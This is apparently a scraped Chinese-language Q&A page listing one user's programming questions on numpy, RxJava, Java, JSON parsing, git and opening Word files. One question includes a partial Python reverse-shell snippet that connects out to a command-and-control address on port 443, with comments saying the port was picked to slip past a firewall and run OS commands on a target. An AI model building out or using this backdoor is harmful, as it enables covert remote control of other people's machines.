小编Mad*_*ist的帖子

Numpy:检查float数组是否包含整数

在Python中,可以根据此QA 检查a是否float包含整数值n.is_integer():如何检查浮点值是否为整数.

numpy是否有类似的操作可以应用于数组?允许以下内容的东西:

>>> x = np.array([1.0 2.1 3.0 3.9])
>>> mask = np.is_integer(x)
>>> mask
array([True, False, True, False], dtype=bool)
Run Code Online (Sandbox Code Playgroud)

有可能做类似的事情

>>> mask = (x == np.floor(x))
Run Code Online (Sandbox Code Playgroud)

要么

>>> mask = (x == np.round(x))
Run Code Online (Sandbox Code Playgroud)

但它们涉及调用额外的方法并创建一堆可能被避免的临时数组.

numpy是否有一个矢量化函数,以类似于Python的方式检查浮点数的小数部分float.is_integer

python floating-point numpy

9
推荐指数
2
解决办法
3621
查看次数

与子进程模块的并发.我怎样才能做到这一点?

下面的代码有效但每次运行程序时,例如目标机器上的记事本,提示都会停止,直到我退出程序.

如何在目标机器上同时运行多个程序?我想它可以通过线程或子进程模块来实现,但我仍然无法使用这个概念.

我怎样才能做到这一点?

import socket
import time
import subprocess #Executar comandos do SO

#criando a conexao reversa

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada

def connect(IP,PORT):
    #conectando a central de controle 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # IP/TCP

        s.connect((IP,PORT))
        s.send('[!] Conexao recebida\n')        # msg pra ver se foi conectado
        #s.close()
        return …
Run Code Online (Sandbox Code Playgroud)

python python-multithreading python-3.x python-multiprocessing

9
推荐指数
1
解决办法
181
查看次数

RxJava仅检查具有超时的第一个响应项

我看到ReactiveX(RxJava)有一个运算符timeout,它将应用于订阅流中的每个项目.但我只想检查超时的第一个响应,而不关心以下响应的超时.如何使用RxJava的运算符优雅地实现此要求?

java reactive-programming rx-java

9
推荐指数
2
解决办法
1513
查看次数

什么`x [False]`在numpy中做什么?

说我有一个阵列x = np.arange(6).reshape(3, 2).

是什么意思x[False],或者x[np.asanyarray(False)]?两者都导致了array([], shape=(0, 3, 2), dtype=int64),这是出乎意料的.

我期望得到一个,IndexError因为一个不正确的大小的面具,从类似的东西x[np.ones((2, 2), dtype=np.bool)].

这种行为对一致的x[True]x[np.asanyarray(True)],既导致额外的维度:array([[[0, 1], [2, 3], [4, 5]]]).

我正在使用numpy 1.13.1.最近似乎行为发生了变化,因此虽然为旧版本提供答案很好,但请在答案中提及您的版本.

编辑

为了完整起见,我根据这个问题的评论提交了https://github.com/numpy/numpy/issues/9515.

编辑2

并几乎立即关闭它.

python numpy

9
推荐指数
1
解决办法
308
查看次数

我应该总是关闭BufferedReader吗?

这是一行将文件读入List:

List<String> lines =
    new BufferedReader(
        new InputStreamReader(classLoader.getResourceAsStream(fileName)))
            .lines()
            .collect(Collectors.toList());
Run Code Online (Sandbox Code Playgroud)

这是正确的还是应该将BufferedReader变量分配给变量以便以后关闭它?

java bufferedreader

9
推荐指数
2
解决办法
1071
查看次数

如何解析 json 以获取数组中特定键的所有值?

我在尝试使用 python 从 json 数组中的特定键获取值列表时遇到问题。使用下面的 JSON 示例,我试图创建一个仅包含name键值的列表。原始 JSON:

[
    {
        "id": 1,
        "name": "Bulbasaur",
        "type": [
            "grass",
            "poison"
        ]
    },
    {
        "id": 2,
        "name": "Ivysaur",
        "type": [
            "grass",
            "poison"
        ]
    }
]
Run Code Online (Sandbox Code Playgroud)

预期的:

["Bulbasaur", "Ivysaur"]
Run Code Online (Sandbox Code Playgroud)

下面是我的方法的代码:

import json
try:
    with open("./simple.json", 'r') as f:
        contents = json.load(f)
except Exception as e:
    print(e)

print(contents[:]["name"])
Run Code Online (Sandbox Code Playgroud)

我正在尝试采用一种不需要循环每个索引并附加它们的方法,类似于上面的代码。使用python'json库可以使用这种方法吗?

python parsing json

9
推荐指数
2
解决办法
2万
查看次数

在main方法中编写一个函数 - Java

你能在main方法中写一个方法吗?例如,我找到了这段代码:

public class TestMax {
     public static void main(String[] args) {
        int i = 5;
        int j = 2;
        int k = max(i, j);
        System.out.println("The maximum between is " + k);
     }

     public static int max(int num1, int num2) {
        int result;
        if (num1 > num2)
           result = num1;
        else
           result = num2;

        return result; 
     }
}
Run Code Online (Sandbox Code Playgroud)

方法max可以在main方法中编码吗?

java methods program-entry-point function

8
推荐指数
2
解决办法
6万
查看次数

如何从git中的另一个远程分支中提取

我试图从名为"front"的远程分支中的一个分支到名为"back"的分支:

git checkout front
git pull
Run Code Online (Sandbox Code Playgroud)

但我收到错误信息,如,

Please specify which branch you want to merge with.
See git-pull(1) for details.
git pull <remote> <branch>.
Run Code Online (Sandbox Code Playgroud)

我现在应该怎么做?提前致谢..

git

8
推荐指数
2
解决办法
2万
查看次数

接受扩展参数和元组的函数

是否有Pythonic方法来创建一个接受单独的参数和元组的函数?即实现这样的目标:

def f(*args):
    """prints 2 values 
            f(1,2)
                1 2
            f( (1,2) )
                1 2"""
    if len(args) == 1:
        if len(args[0]) != 2:
            raise Exception("wrong number of arguments")
        else:
            print args[0][0],args[0][1]
    elif len(args) == 2:
        print args[0],args[1]
    else:
            raise Exception("wrong number of arguments")
Run Code Online (Sandbox Code Playgroud)

python

8
推荐指数
1
解决办法
113
查看次数

使用Python打开Word文档

我试图在Python中自动打开Word文档.我对编程非常陌生,我听说这个网站帮助那些遇到麻烦的人.

我看过各种问题,发现了这个:

DummyFile = path_to_docx
with open(DummyFile) as f:
    source_stream = io(f.read())
document = doc(source_stream)
source_stream.close()
Run Code Online (Sandbox Code Playgroud)

但是当我运行它时,我得到:

 UnicodeDecodeError: 'charmap' codec can't decode byte 0x90 in position 74: character maps to <undefined>
Run Code Online (Sandbox Code Playgroud)

看来这段代码不是我想要的.我相信它正在尝试阅读我的文档并将其放入变量中.不是我想要的.我想要的命令,执行时,将打开Microsoft Word中的word文档

预期结果:

Word文档在Microsoft Word中打开,如下所示:

这里

python docx python-3.x

8
推荐指数
2
解决办法
5822
查看次数